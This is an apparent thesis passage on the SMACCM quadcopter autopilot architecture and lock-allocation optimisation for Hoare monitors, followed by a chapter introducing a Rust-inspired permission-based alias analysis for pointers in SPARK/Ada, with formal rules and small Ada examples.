The unmanned aerial vehicle airframe is a quadcopter (3DR IRIS+),
with two primary flight controllers, a core flight controller and a mission
controller. The general architecture of the SMACCM project is presented
in Figure 6.11. The autopilot is open source and available on http://
smaccmpilot.org/.

6.6.1 Autopilot Architecture

The flight computer hardware is the PX4 Pixhawk [Mei16], the main pro-
cessor of which is a 168Mhz STM32F427 ARM-v7M Cortex-M4 CPU. The
flight computer manages sensor polling, sensor fusion, inner loop control,
motor control, and direct pilot input from a 2.4GHz radio—the link is not
encrypted, hence used only for debugging purposes and public presentations.
The flight computer software is written using Tower and there are back-
ends to generate code for both the eChronos [Dat16] and FreeRTOS [Bar17]
RTOSes.

Note that on Linux, earliest deadline first (SCHED_DEADLINE) schedul-
ing can only be used in recent kernel versions (>= 3.14). This feature
however is provided by the Linux kernel and not POSIX (therefore not de-
fined in pthread.h), thus the deadline should be set using the function

http://smaccmpilot.org/
http://smaccmpilot.org/
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sched_setattr in the header sched.h, which requires the PID of the pro-
cess. This means that the thread first has to be created using an other
scheduling policy, and the deadline has to be changed by the scheduled pro-
cess using pthread_self. Hence, there is a possibility that the deadline
will be set up after the deadline has passed. Nothing guarantees scheduling
safety.

A kernel patch named LITMUS-RT [Bra11] targeting specifically multi-
core embedded systems and solving all previous Linux issues exists, but is
not compatible with a Raspberry Pi by default, given that these boards have
neither a TSC (Time Stamp Counter) nor HPET (High Precision Event
Timer) counter to use as clock-source,1 and require modifications to the
patch, as done in [War+13] to use it on a NVIDIA Tegra ARM-A9 proces-
sor. Nevertheless, the Tower POSIX backend only allows basic testing on
Raspberry Pi mainly for low-cost debugging purposes, and a further use for
non-critical applications.

The mission controller hardware is an Odroid-XU board with a custom
IO board (Fig. 6.12a). The board runs the formally-verified seL4 micro-
kernel [Kle+09] which encloses a Linux virtual machine, used for commu-
nicating with the CMUCam5 Pixy camera (Fig. 6.12b). The Odroid-XU

1https://lists.litmus-rt.org/pipermail/litmus-dev/2013/000671.html

Figure 6.11: Diagram showing the general architecture of the Phase 2
SMACCM project for the UAV (there is a ground station not shown here).
The picture on the top-right shows a UAV of the previous model used for
testing (3DR IRIS). Credit: Rockewell Collins.
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(a) The IO shield built by Data61 (ex-
NICTA). It is connected to a CAN
bus, a telemetry module (900 MHz
TX/RX), and a power source.

(b) The CMUcam5 Pixy with a resolu-
tion of 640 × 400 at 50 Hz. The cam-
era manages face detection and object
recognition.

Figure 6.12: SMACCMcopter parts.

communicates through the IO board with the ground control station on an
AES-GCM 128-bit encrypted communication on 915MHz with a custom se-
rialization protocol called GIDL that replaces the well-known but insecure
MAVLink protocol. However, the video stream is sent to the ground station
through a standard WiFi protocol (WPA2/PSK). Note that the Linux VM
is encapsulated in an untrusted environment, which prevents it from com-
municating directly with the flight controller or the ground station. The
mission computer and flight computer communicate over a CAN bus.

A typical mission consists in the key exchange while the UAV is on the
ground, and the upload of a flight plan using GPS waypoints, the latter of
which can be updated while in flight. The UAV while in flight can receive in-
structions transmitted to the Linux VM that can control the optroelectronic
pod, send back encrypted telemetry data, and on demand stream video on
WiFi. The UAV can take-off, land, aviate, and navigate automatically.

6.6.2 Optimizing SMACCMPilot

The autopilot flight controller module has 157 monitors, of which 32 have
no shared resources (30 of them have only one handler), and 41 monitors
have handlers that can run in parallel (i.e. the graph density is not null,
as defined in section 6.5). The total lines of software are just under 100K
lines of code, not counting comments or empty lines. After running our
optimization (allowing 60 seconds to the PWMS solver for each monitor),
we achieved a perfect result for 39 monitors out of 41, having a relative
error of zero (as defined in section 6.5). Of the two remaining monitors,
in the monitor managing communication to an I/O coprocessor over high-
speed serial via a direct memory-access controller (px4io_driver), we have
a relative error of 0.17 (density of 0.68 instead of 0.82 in theory), and in the
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monitor managing inner loop control (control), the optimization did not
manage to improve parallelism, yielding a relative error of 1. These results
can be explained by the huge instances generated for the last two monitors,
as shown in the Figure 6.13.

These results suggest that on a real code base developed using a Hoare-
monitor style, there are generally significant optimization opportunities. In
our case, much of the shared state is relatively localized to a small number
of monitors.

Figure 6.13: Representation of the 41 monitors. Each monitor is defined
by its coordinates (number of handlers on a logarithmic scale, total number
of resources, number of locks allocated). We show the relative error as
computed before (blue = 0, perfect computation, red = 1, the optimization
failed and no parallelism is found) The red square on top right corresponds
to the control monitor. Its position shows the inability to solve the PWMS
instance for it within 60 seconds.

6.7 Related work

Our work can be placed within the context of the lock granularity debate
in multicore processing [Bra11]. Hoare monitors introduce very coarse-
grained—but safe—locking for user applications. The benefit of fine-grained
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locking is that it can be more efficient, but it can also subtly introduce bugs.
We refine locks automatically, up to a fixed number of locks, allowing pro-
grammers to combine the simplicity and elegance of Hoare monitors with
more efficient concurrency in an embedded real-time setting.

Others [Emm+07; CCG08; Haw+12] have addressed the problem of lock
allocation for atomic sections [McC+06] with similar goals to us. Most
related is the work by Emmi et al. in which the authors automatically
allocate locks for atomic regions [Emm+07]. Their work considers general-
purpose C programs, so they have a more sophisticated pointer analysis to
ensure safety. They encode the problem using SAT; we arguably have a
more natural encoding into the more expressive PWMS. While our analysis
is arguably more coarse-grained, our SMACCMPilot case-study is 100k lines
of code; theirs are over programs that are 2k or fewer lines with no more
than 11 atomic regions.

While somewhat rare in the real-time literature, Jeffay uses a Hoare-
monitor based solution in providing optimality results for scheduling pre-
emptive sporadic tasks [Jef89].

A large body of literature exists on formal models of concurrent sys-
tems [WN95], and we are agnostic regarding other models, such as Kahn
process networks [Kah74]. Our work is largely agnostic regarding the partic-
ular formalism, although we want a language expressive and precise enough
to reason about the safety properties described in Section 6.3.3. While not
pursued in this work, formal semantics paves the way to model-checking
user-supplied assertions about concurrent embedded programs [JKW07].

6.8 Conclusion
We have described and formalized Tower, a framework for specifying real-
time Hoare monitors, as well as a systematic optimization technique in-
tended to improve runtime efficiency. We have proved that this technique
maintains key safety properties, which has been experimentally confirmed
by tests on real hardware.

There are a variety of avenues for additional research. One way to im-
prove the results would consist in investigating other reward functions. We
used a naive approximation for the frequency of handler calls. There is
a practical trade-off: a more refined reward function might improve per-
formance in practice, while a simple reward function might make PWMS
solving simpler. Finally, we believe Hoare-monitor based concurrency is
interesting in its own right and deserves more experimentation.
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Chapter 7

Verification of programs with
pointers in SPARK

In the field of deductive software verification, programs with
pointers present a major challenge due to pointer aliasing. In
this chapter, we introduce pointers to SPARK, a well-defined
subset of the Ada language, intended for formal verification of
mission-critical software. Our solution uses a permission-based
static alias analysis method inspired by Rust’s borrow-checker
and affine types. To validate our approach, we have implemented
it in the SPARK GNATprove formal verification toolset for Ada.
In this chapter, we give a formal presentation of the analysis rules
for a core version of SPARK and discuss their implementation
and scope.

This work was jointly conducted with Claire Dross, Maroua
Maalej, Yannick Moy, and Andrei Paskevich with sup-
port by the Joint Laboratory ProofInUse (ANR-13-LAB3-
0007) and project VECOLIB (ANR-14-CE28-0018) of the
French National Research Agency (ANR). It was published in
ICFEM 2020 [Jal+20b].

7.1 Introduction

SPARK [MC15] is a subset of the Ada programming language targeted at
safety- and security-critical applications. SPARK restrictions ensure that
the behavior of a SPARK program is unambiguously defined, and simple
enough that formal verification tools can perform an automatic diagnosis of
conformance between a program specification and its implementation. As
a consequence, it forbids the use of features that either prevent automatic
proof, or make it possible only at the expense of extensive user annotation
effort. The lack of support for pointers is the main example of this choice.
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Among the various problems related to the use of pointers in the context
of formal program verification, the most difficult problem is that two names
may refer to overlapping memory locations, a.k.a. aliasing. Formal verifica-
tion platforms that support pointer aliasing like Frama-C [Kir+15] require
users to annotate programs to specify when pointers are not aliased. This
can take the form of inequalities between pointers or the form of separation
predicates between memory zones. In both cases, the annotation burden
is acceptable for leaf functions which manipulate single-level pointers, and
quickly becomes overwhelming for functions that manipulate pointer-rich
data structures. In parallel to the increased cost of annotations, the bene-
fits of automation decrease, as automatic provers have difficulties reasoning
explicitly with these inequalities and separation predicates.

Programs often rely on non-aliasing in general for correctness, when such
aliasing would introduce interferences between two unrelated names. We call
aliasing potentially harmful when a memory location modified through one
name could be read through another name, within the scope of a verifica-
tion condition. Otherwise, the aliasing is benign, when the memory location
is only read through both names. A reasonable approach to formal pro-
gram verification is thus to detect and forbid potentially harmful aliasing
of names. Although this restricted language fragment cannot include all
pointer-manipulating programs, it still allows us to introduce pointers to
SPARK with minimal overhead for its program verification engine.

The difficulty is then to guarantee the absence of potentially harmful
aliasing. The following code shows an example where we want analysis
to be able to rely on the non-aliasing of parameters X and Y to prove the
postcondition of the procedure Assign_Incr:

procedure Assign_Incr (X, Y : in out Integer_Pointer)
with Post => Y.all = X.all + 1

is
begin
Y.all := X.all + 1;

end Assign_Incr;

In this chapter, we provide a formal description of the inclusion of point-
ers in the Ada language subset supported in SPARK, generalizing intuitions
that can be found in [MTM18; DK20] or on Adacore’s blog [Dro19b; Dro19a].
As our main contribution, we show that it is possible to borrow and adapt
the ideas underlying the safe support for pointers in permission-based lan-
guages like Rust, to safely restrict the use of pointers in usual imperative
languages like Ada. This adaptation is based on a possible division of work
between a permission-based anti-aliasing analysis, lifetime management by
typing, and the use of a formal verification platform for checking non-nullity
of accessed pointers. For example, these rules prevent aliasing between pa-
rameters X and Y in the code of procedure Assign_Incr above, which makes
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it possible to treat pointers in proof like records with a field corresponding
to the type of the object pointed to. Thus, the verification condition corre-
sponding to the postcondition of procedure Assign_Incr has a form (using
get/set to access the field all of variables X and Y) that can readily be
proved by automatic provers:

hypothesis: Y’ = set(Y, all, get(X, all) + 1)
goal: get(Y’, all) = get(X, all) + 1

The rest of the chapter is organized as follows. In Section 7.2, we give an
informal description of our approach. Section 7.3 introduces a small formal
language for which we define the formal alias analysis rules in Section 7.4. In
Section 7.5, we describe the implementation of the analysis in GNATProve,
a formal verification tool for Ada, and discuss limitations via examples. We
survey related works in Section 7.6 and future works in Section 7.7.

7.2 Informal Overview of Alias Analysis in
SPARK

In Ada, the access to memory areas is given through paths that start with an
identifier (a variable name) and follow through record fields, array indices,
or through a special field all, which corresponds to pointer dereferencing.
In what follows, we only consider record and pointer types, and discuss the
handling of arrays in Section 7.5.

As an example, we use the following Ada type, describing singly linked
lists where each node carries a Boolean flag and a pointer to a shared integer
value.

type List is record
Flag : Boolean;
Key : access Integer;
Next : access List;

end record;

Given a variable A : List, the paths A.Flag, A.Key.all, A.Next.←↩
all.Key are valid and their respective types are Boolean, Integer, and
access Integer (a pointer to an Integer). The important difference be-
tween pointers and records in Ada is that—similar to C—the assignment
of a record copies the values of fields, whereas assignment of a pointer only
copies the address and creates an alias.

The alias analysis procedure runs after the type checking. The idea is to
associate one of the four permissions—RW, R, W or NO—to each possible
path (starting from the available variables) at each sequence point in the
program. A set of rules ensures that for any two aliased pointers, at most
one has the ownership of the underlying memory area, meaning the ability
to read and modify it.
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The absence of permission is denoted as the NO permission. Any mod-
ification or access to the value accessible from the path is forbidden. This
typically applies to aliased memory areas that have lost ownership over their
stored values.

The read-only permission R allows us to read any value accessible from
the path: use it in a computation, or pass it as an in parameter in a proce-
dure call. As a consequence, if a given path has the R permission, then each
valid extension of this path also has it.

The write-only permission W allows us to modify memory occupied by
the value: use it on the left-hand side in an assignment or pass it as an
out parameter in a procedure call. For example, having a write permission
for a path of type List allows us to modify the Flag field or to change
the addresses stored in the pointer fields Key and Next. However, this does
not necessarily give us the permission to modify memory accessible from
these pointers. Indeed, to dereference a pointer, we must read the address
stored in it, which requires the read permission. Thus, the W permission
only propagates to path extensions that do not dereference pointers, i.e., do
not contain additional all fields.

The read-write permission RW combines the properties of the R and W
permissions and grants full ownership of the path and every value accessi-
ble from it. In particular, the RW permission propagates to all valid path
extensions including those that dereference pointers. The RW permission is
required to pass a value as an in out parameter in a procedure call.

Execution of program statements changes permissions. A simple exam-
ple of this is procedure call: all out parameters must be assigned by the
callee and get the RW permission after the call. The assignment statement
is more complicated and several cases must be considered. If we assign a
value that does not contain pointers (say, an integer or a pointer-free record),
the whole value is copied into the left-hand side, and we only need to check
that we have the appropriate permissions: W or RW for the left-hand side
and R or RW for the right-hand side.

However, whenever we copy a pointer, an alias is created. We want to
make the left-hand side the new full owner of the value (i.e., give it the RW
permission), and therefore, after the permission checks, we must revoke the
permissions from the right-hand side, to avoid potentially harmful aliasing.
The permission checks are also slightly different in this case, as we require
the right-hand side to have the RW permission to move it to the left-hand
side.

Let us now consider several simple programs and see how the permission
checks allow us to detect potentially harmful aliasing.

Procedure P1 in Fig. 7.1 receives two in out parameters A and B of
type List. At the start of the procedure, all in out parameters assume
permission RW. In particular, this implies that each in out parameter
is separated from all other parameters, in the sense that no memory area
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procedure P1
(A,B: in out List) is

begin
A := B;
B.Flag := True;
B.Key.all := 42;
-- A.Key.all == 42?

end P1;

procedure P2
(A,B: in out access Integer) is

begin
while B.all > 0 loop
A.all := A.all + 1;
B.all := B.all - 1;
A := B;

end loop;
-- loop terminates?

end P2;

Figure 7.1: Examples of potentially harmful aliasing, with some verifica-
tion conditions that require tracking aliases throughout the program to be
checked.

B
W

B.Flag
RW

B.Next
W

B.Key
W

B.Next.all
NO

B.Key.all
NO

... ... ...

Figure 7.2: Graphical representation of the permissions attributed to B and
its extensions after assignment A := B; in P1.

can be reached from two different parameters. The first assignment copies
the structure B into A. Thus, the paths A.Flag, A.Key, and A.Next are
separated, respectively, from B.Flag, B.Key, and B.Next. However, the
paths A.Key.all and B.Key.all are aliased, and A.Next.all and B.←↩
Next.all are aliased as well.

The first assignment does not change the permissions of A and its ex-
tensions: they retain the RW permission and keep the full ownership of
their respective memory areas, even if the areas themselves have changed.
The paths under B, however, must relinquish (some of) their permissions,
as shown in Fig. 7.2. The paths B.Key.all and B.Next.all as well as all
their extensions get the NO permission, that is, lose both read and write
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permissions. This is necessary, as the ownership over their memory areas
is transferred to the corresponding paths under A. The paths B, B.Key,
and B.Next lose the read permission but keep the write-only W permission.
Indeed, we forbid reading from memory that can be altered through a con-
current path. However, it is allowed to “redirect” the pointers B.Key and
B.Next, either by assigning these fields directly or by copying a different
record into B. The field B.Flag is not aliased, nor has aliased extensions,
and thus retains the initial RW permission. This RW permission allows us
to perform the assignment B.Flag := True on the next line.

The third assignment, however, is now illegal, since B.Key.all no longer
has the write permission. What is more, at the end of the procedure the
in out parameters A and B are not separated. This is forbidden, as the
caller assumes that all out and in out parameters are separated after the
call just as they were before.

Procedure P2 in Fig. 7.1 receives two pointers A and B, and manipulates
them inside a while loop. Since the permissions are assigned statically, we
must ensure that at the end of a single iteration, we did not lose the permis-
sions necessary for the next iteration. This requirement is violated in the
example: after the last assignment A := B, the path B receives permission
W and the path B.all, permission NO, as B.all is now an alias of A.all.
The new permissions for B and B.all are thus weaker than the original ones
(RW for both), and the procedure is rejected. Should it be accepted, we
would have conflicting memory modifications from two aliased paths at the
beginning of the next iteration.

7.3 µSPARK Language
For the purposes of formal presentation, we introduce µSPARK, a small
subset of SPARK featuring pointers, records, loops, and procedure calls.
We present the syntax of µSPARK, and define the rules of alias safety.

The data types of µSPARK are as follows:

type ::= Integer | Real | Boolean scalar type
| access type access type (pointer)
| ident record type

Every µSPARK program starts with a list of record type declarations:

record ::= type ident is record field? end

field ::= ident : type

We require all field names to be distinct. The field types must not refer
to the record types declared later in the list. Nevertheless, a record type
R can be made recursive by adding a field whose type is a pointer to R
(written access R). We discuss the handling of array types in Section 7.5.
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The syntax of µSPARK statements is defined by the following rules:

path ::= ident variable
| path . ident record field
| path . all pointer dereference

expr ::= path l-value
| 42 | 3.14 | True | False | . . . scalar value
| expr ( + | - | < | = | . . . ) expr binary operator
| null null pointer

stmt ::= path := expr assignment
| path := new type allocation
| if expr then stmt? else stmt? end conditional
| while expr loop stmt? end “while” loop
| ident ( expr? ) procedure call

Following the record type declarations, a µSPARK program contains a
set of potentially mutually recursive procedure declarations:

procedure ::= procedure ident ( param? ) is local? begin stmt? end

param ::= ident : ( in | in out | out ) type
local ::= ident : type

We require all formal parameters and local variables in a procedure to have
distinct names. A procedure call can only pass left-values (i.e., paths) for
in out and out parameters. The execution starts from a procedure named
Main with the empty parameter list.

The type system for µSPARK is rather standard and we do not show it
here in full. We assume that binary operators only operate on scalar types.
The null pointer can have any pointer type access τ . The dereference
operator .all converts access τ to τ . Allocation p := new τ requires path
p to have type access τ . In what follows, we only consider well-typed
µSPARK programs.

On the semantic level, we need to distinguish the units of allocation,
such as whole records, from the units of access, such as individual record
fields. We use the term location to refer to the memory area occupied by an
allocated value. We treat locations as elements of an abstract infinite set,
and denote them with letter `. We use the term address to designate either
a location, denoted `, or a specific component inside the location of a record,
denoted `.f.g, where f and g are field names (assuming that at ` we have
a record whose field f is itself a record with a field g). A value is either a
scalar, an address, a null pointer or a record, that is, a finite mapping from
field names to values.

A µSPARK program is executed in the context defined by a binding Υ
that maps variable names to addresses and a store Σ that maps locations to
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values. By a slight abuse of notation, we apply Σ to arbitrary addresses, so
that Σ(`.f) is Σ(`)(f), the value of the field f of the record value stored in
Σ at `. Similarly, we write Σ[`.f 7→ v] to denote an update of a single field
in a record, that is, Σ[` 7→ Σ(`)[f 7→ v]].

We use big-step operational semantics and write Υ ·Σ · s ⇓ Σ′ to denote
that µSPARK statement s, when evaluated under binding Υ and store Σ,
terminates with the state of the store Σ′. We extend this notation to se-
quences of statements in an obvious way, as the reflexive-transitive closure
of the evaluation relation on Σ. Diverging statements are left out of the
scope of this work.

The evaluation of expressions is effect-free and is denoted JeKΥ
Σ . We also

need to evaluate l-values to the corresponding addresses in the store, written
〈p〉ΥΣ , where p is the evaluated path. Illicit operations, such as dereferencing
a null pointer, cannot be evaluated and stall execution (blocking semantics).
In the formal rules below, c stands for a scalar constant and �, for a binary
operator:

〈x〉ΥΣ = Υ(x) 〈p.f〉ΥΣ = 〈p〉ΥΣ.f 〈p.all〉ΥΣ = JpKΥ
Σ

JcKΥ
Σ = c JpKΥ

Σ = Σ(〈p〉ΥΣ) JnullKΥ
Σ = null

Je1 � e2KΥ
Σ = Je1KΥ

Σ � Je2KΥ
Σ

Allocation adds a fresh address to the store, mapping it to a default value
for the corresponding type: 0 for Integer, False for Boolean, null for the
access types, and for the record types, a record value where each field has
the default value. Notice that since pointers are initialised to null, there is
no deep allocation. We write �τ to denote the default value of type τ .

The evaluation rules are given in Figure 7.3. In the (E-call) rule,
we evaluate the procedure body in the dedicated context ΥP · ΣP . This
context binds the in parameters to fresh locations containing the values of
the respective expression arguments, binds the in out and out parameters
to the addresses of the respective l-value arguments, and allocates memory
for the local variables. At the end of the call, the memory allocated for the
in parameters and local variables is reclaimed: the operation /− stands for
domain anti-restriction, meaning that locations `a1 , . . . , `d1 , . . . are removed
from Σ′. As there is no possibility to take the address of a local variable,
there is no risk of dangling pointers.

7.4 Access Policies, Transformers, and Alias
Safety Rules

We denote paths with letters p and q. We write p @ q to denote that p
is a strict prefix of q or, equivalently, q is a strict extension of p. In what
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JeKΥ
Σ = v

Υ · Σ · p := e ⇓ Σ[ 〈p〉ΥΣ 7→ v ]
(E-assign)

` 6∈ dom Σ
Υ · Σ · p := new τ ⇓ Σ[ 〈p〉ΥΣ 7→ `, ` 7→ �τ ]

(E-alloc)

JeKΥ
Σ = True Υ · Σ · s̄1 ⇓ Σ′

Υ · Σ · if e then s̄1 else s̄2 ⇓ Σ′
(E-ifTrue)

JeKΥ
Σ = False Υ · Σ · s̄2 ⇓ Σ′

Υ · Σ · if e then s̄1 else s̄2 ⇓ Σ′
(E-ifFalse)

JeKΥ
Σ = True Υ · Σ · (s̄ ; while e loop s̄ end) ⇓ Σ′

Υ · Σ · while e loop s̄ end ⇓ Σ′
(E-whileTrue)

JeKΥ
Σ = False

Υ · Σ · while e loop s̄ end ⇓ Σ
(E-whileFalse)

procedure P ( a1 : in τa1; . . . ; b1 : in out τb1; . . . ; c1 : out τc1; . . . )
is d1 : τd1; . . . begin s̄ end is declared in the program

`a1 , . . . , `d1 , . . . 6∈ dom Σ Jea1KΥ
Σ = va1 , . . .

ΥP = [ a1 7→ `a1 , . . . , b1 7→ 〈pb1〉ΥΣ , . . . , c1 7→ 〈qc1〉ΥΣ , . . . , d1 7→ `d1 , . . . ]
ΣP = Σ[ `a1 7→ va1 , . . . , `d1 7→ �τd1

, . . . ] ΥP · ΣP · s̄ ⇓ Σ′

Υ · Σ · P (ea1 , . . . , pb1 , . . . , qc1 , . . .) ⇓ {`a1 , . . . , `d1 , . . .} /− Σ′
(E-call)

Figure 7.3: Semantics of µSPARK (terminating statements).

follows, we always mean strict prefixes and extensions, unless explicitly said
otherwise.

In the typing context of a given procedure, a well-typed path is said to
be deep if it has a non-strict extension of an access type, otherwise it is called
shallow. We extend these notions to types: a type τ is deep (resp. shallow)
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if and only if a τ -typed path is deep (resp. shallow). In other words, a path
or a type is deep if a pointer can be reached from it, and shallow otherwise.
For example, the List type in Section 7.2 is a deep type, and so is access
Integer, whereas any scalar type or any record with scalar fields only is
shallow.

An extension q of a path p is called a near extension if it has as many
pointer dereferences as p, otherwise it is a far extension. For instance, given
a variable A of type List, the paths A.Flag, A.Key, and A.Next are the
near extensions of A, whereas A.Key.all, A.Next.all, and their extensions
are far extensions, since they all create an additional pointer dereference by
passing through all.

We say that sequence points are the program points before or after a
given statement. For each sequence point in a given µSPARK program,
we statically compute an access policy: a partial function that maps each
well-typed path to one of the four permissions: RW, R, W, and NO, which
form a diamond lattice: RW > R|W > NO. We denote permissions by π and
access policies by Π.

Permission transformers modify policies at a given path, as well as its
prefixes and extensions. Symbolically, we write Π T−→p Π′ to denote that
policy Π′ results from application of transformer T to Π at path p. We
define a composition operation Π T1−→p1 # T2−→p2 Π′ that allows chaining the
application of permission transformers T1 at path p1 and T2 at path p2 to
Π resulting in the policy Π′. We write Π T1#T2−−−→p Π′ as an abbreviation
for Π T1−→p # T2−→p Π′ (that is, for some Π′′, Π T1−→p Π′′ T2−→p Π′). We write
Π T−→p,q Π′ as an abbreviation for Π T−→p # T−→q Π′.

Permission transformers can also apply to expressions, which consists in
updating the policy for every path in the expression. This only includes
paths that occur as sub-expressions: in an expression X.f.g + Y.h, only
the paths X.f.g and Y.h are concerned, whereas X, X.f and Y are not. The
order in which the individual paths are treated must not affect the final
result.

We define the rules of alias safety for µSPARK statements in the context
of a current access policy. An alias-safe statement yields an updated policy
which is used to check the subsequent statement. We write Π · s → Π′
to denote that statement s is safe with respect to policy Π and yields the
updated policy Π′. We extend this notation to sequences of statements in
an obvious way, as the reflexive-transitive closure of the update relation on
Π. The rules for checking the alias safety of statements are given in Fig. 7.4.
These rules use a number of permission transformers such as ‘fresh’, ‘check’,
‘move’, ‘observe’, and ‘borrow’, which we define and explain below.

Let us start with the (P-assign) rule. Assignments grant the full own-
ership over the copied value to the left-hand side. If we copy a value of
a shallow type, we merely have to ensure that the right-hand side has the
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Π move−−−→e # check W # fresh RW # lift−−−−−−−−−−−−−−→p Π′

Π · p := e→ Π′
(P-assign)

Π check W # fresh RW # lift−−−−−−−−−−−−−−→p Π′

Π · p := new τ → Π′
(P-alloc)

Π check R−−−−→e Π Π · s̄1 → Π1 Π · s̄2 → Π2 ∀p.Π′(p) = Π1(p) ∧Π2(p)
Π · if e then s̄1 else s̄2 end→ Π′

(P-if)

Π check R−−−−→e Π Π · s̄→ Π′ ∀π.Π′(π) > Π(π)
Π · while e loop s̄ end→ Π

(P-while)

procedure P ( a1 : in τa1; . . . ; b1 : in out τb1; . . . ; c1 : out τc1; . . . )
is · · · begin s̄ end is declared in the program

Π check R # observe−−−−−−−−−−→ea1 ,...
# check RW # borrow−−−−−−−−−−−→pb1 ,...

# check W # borrow−−−−−−−−−−→qc1 ,...
Π′′

Π fresh RW # lift−−−−−−−−→pb1 ,...
# fresh RW # lift−−−−−−−−→qc1 ,...

Π′

Π · P (ea1 , . . . , pb1 , . . . , qc1 , . . .)→ Π′
(P-call)

Figure 7.4: Alias safety rules for statements.

read permission. Whenever we copy a deep-typed value, aliases may be cre-
ated, and we must check that the right-hand side is initially the sole owner
of the copied value (that is, possesses the RW permission) and revoke the
ownership from it.

To define the ‘move’ transformer that handles permissions for the right-
hand side of an assignment, we need to introduce several simpler transform-
ers.

Definition 1. Permission transformer check π does not modify the access
policy and only verifies that a given path p has permission π or greater. In
other words, Π check π−−−−→p Π′ if and only if Π(p) > π and Π = Π′. This
transformer also applies to expressions: Π check π−−−−→e Π′ states that Π check π−−−−→p

Π′(= Π) for every path p occurring in e.
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Definition 2. Permission transformer fresh π assigns permission π to a
given path p and all its extensions.

Definition 3. Permission transformer cut assigns restricted permissions
to a deep path p and its extensions: the path p and its near deep exten-
sions receive permission W, the near shallow extensions keep their current
permissions, and the far extensions receive permission NO.

Going back to the procedure P1 in Fig. 7.1, the change of permissions on
the right-hand side after the assignment A := B corresponds to the definition
of ‘cut’. In the case where the right-hand side of an assignment is a deep path,
we also need to change the prefixes’ permissions, to reflect the ownership
transfer.

Definition 4. Permission transformer block propagates the loss of the read
permission from a given path to all its prefixes. Formally, it is defined by
the following rules, where x stands for a variable and f for a field name:

Π block−−−→x Π
Π[p 7→W] block−−−→pΠ′

Π block−−−→p.all Π′

Π(p) = NO
Π block−−−→p.f Π

Π(p) >W Π[p 7→W] block−−−→pΠ′

Π block−−−→p.f Π′

Definition 5. Permission transformer move applies to expressions:
• if e has a shallow type, then Π move−−−→e Π′ ⇔ Π check R−−−−→e Π′,

• if e is a deep path p, then Π move−−−→e Π′ ⇔ Π check RW # cut # block−−−−−−−−−−−−−→p Π′,

• if e is null, then Π move−−−→e Π′ ⇔ Π′ = Π.

To further illustrate the ‘move’ transformer, let us consider two variables
P and Q of type access List and an assignment P := Q.all.Next. We
assume that Q and all its extensions have full ownership (RW) before the
assignment. We apply the second case in the definition of ‘move’ to the
deep path Q.all.Next. The ‘check RW’ condition is verified, and the ‘cut’
transformer sets the permission for Q.all.Next to W and the permission for
Q.all.Next.all and all its extensions to NO. Indeed, P.all becomes an
alias of Q.all.Next.all and steals the full ownership for this memory area.
However, we still can reassign Q.all.Next to a different address. Moreover,
we still can write new values into Q.all or Q, without compromising safety.
This is enforced by the application of the ‘block’ transformer at the end.
We cannot keep the read permission for Q or Q.all, since it implies the read
access to the data under Q.all.Next.all.

Finally, we need to describe the change of permissions on the left-hand
side of an assignment, to reflect the gain of full ownership. The idea is that



7.4. ALIAS SAFETY RULES 143

as soon as we have full ownership for each field of a record, we can assume
full ownership of the whole record, and similarly for pointers.

Definition 6. Permission transformer lift propagates the RW permission
from a given path to its prefixes, wherever possible:

Π lift−−→x Π
Π[p 7→ RW] lift−−→pΠ′

Π lift−−→p.all Π′

∀q A p.Π(q) = RW Π[p 7→ RW] lift−−→pΠ′

Π lift−−→p.f Π′
∃q A p.Π(q) 6= RW

Π lift−−→p.f Π

In the (P-assign) rule, we revoke the permissions from the right-hand
side of an assignment before granting ownership to the left-hand side. This
is to prevent creation of circular data structures. Consider an assignment
A.Next.all := A, where A has type List. According to the definition of
‘move’, all far extensions of the right-hand side, notably A.Next.all, receive
permission NO. This makes the left-hand side fail the write permission check.

Allocations p := new τ are handled by the (P-alloc) rule. We grant
the full permission on the newly allocated memory, as it cannot possibly be
aliased.

In a conditional statement, the policies at the end of the two branches
are merged selecting the most restrictive permission for each path. Loops
require that no permissions are lost at the end of a loop iteration, compared
to the entry, as explained above for procedure P2 in Fig. 7.1.

Procedure calls guarantee the callee that every argument with mode
in, in out, or out has at least permission R, RW or W, respectively. To
ensure the absence of potentially harmful aliasing, we revoke the necessary
permissions using the ‘observe’ and ‘borrow’ transformers.

Definition 7. Permission transformer borrow assigns permission NO to a
given path p and all its prefixes and extensions.

Definition 8. Permission transformer freeze removes the write permission
from a given path p and all its prefixes and extensions. In other words, freeze
assigns to each path q comparable to p the minimum permission Π(q) ∧ R.

Definition 9. Permission transformer observe applies to expressions:
• if e has a shallow type, then Π observe−−−−→e Π′ ⇔ Π′ = Π,

• if e is a deep path p, then Π observe−−−−→e Π′ ⇔ Π freeze−−−→p Π′,

• if e is null, then Π observe−−−−→e Π′ ⇔ Π′ = Π.

We remove the write permission from the deep-typed in parameters
using the ‘observe’ transformer, in order to allow aliasing between the read-
only paths. As for the in out and out parameters, we transfer the full
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ownership over them to the callee, which is reflected by dropping every
permission on the caller’s side using ‘borrow’.

In the (P-call) rule, we revoke permissions right after checking them
for each parameter. In this way, we cannot pass, for example, the same path
as an in and in out parameter in the same call. Indeed, the ‘observe’ trans-
former will remove the write permission, which is required by ‘check RW’
later in the transformer chain. At the end of the call, the callee transfers to
the caller the full ownership over each in out and out parameter.

We apply our alias safety analysis to each procedure declaration. We
start with an empty access policy, denoted ∅. Then we fill the policy with
the permissions for the formal parameters and the local variables and check
the procedure body. At the procedure’s end, we verify that every in out
and out parameter has the RW permission. Formally, this is expressed with
the following rule:

∅ fresh R−−−−→a1,... #
fresh RW−−−−−→b1,... #

fresh W # cut−−−−−−−→c1,... #
fresh RW−−−−−→d1,... Π′

Π′ · s̄→ Π′′ Π′′(b1) = · · · = Π′′(c1) = · · · = RW
procedure P ( a1 : in τa1; . . . ; b1 : in out τb1; . . . ; c1 : out τc1; . . . )

is d1 : τd1; . . . begin s̄ end is alias-safe

We say that a µSPARK program is alias-safe if all its procedures are alias-
safe.

By the end of the analysis, an alias-safe program has an access policy
associated to each sequence point in it. We say that an access policy Π is
consistent whenever it satisfies the following conditions for all valid paths
π, π.f , π.all:

Π(π) = RW =⇒ Π(π.f) = RW Π(π) = RW =⇒ Π(π.all) = RW (7.1)
Π(π) = R =⇒ Π(π.f) = R Π(π) = R =⇒ Π(π.all) = R (7.2)

Π(π) = W =⇒ Π(π.f) ≥W (7.3)

These invariants correspond to the informal explanations given in Sec-
tion 7.2. Invariant 7.1 states that the full ownership over a value propa-
gates to all values reachable from it. Invariant 7.2 states that the read-only
permission must also propagate to all extensions. Indeed, a modification
of a reachable component can be observed from any prefix. Invariant 7.3
states that write permission over a record value implies a write permission
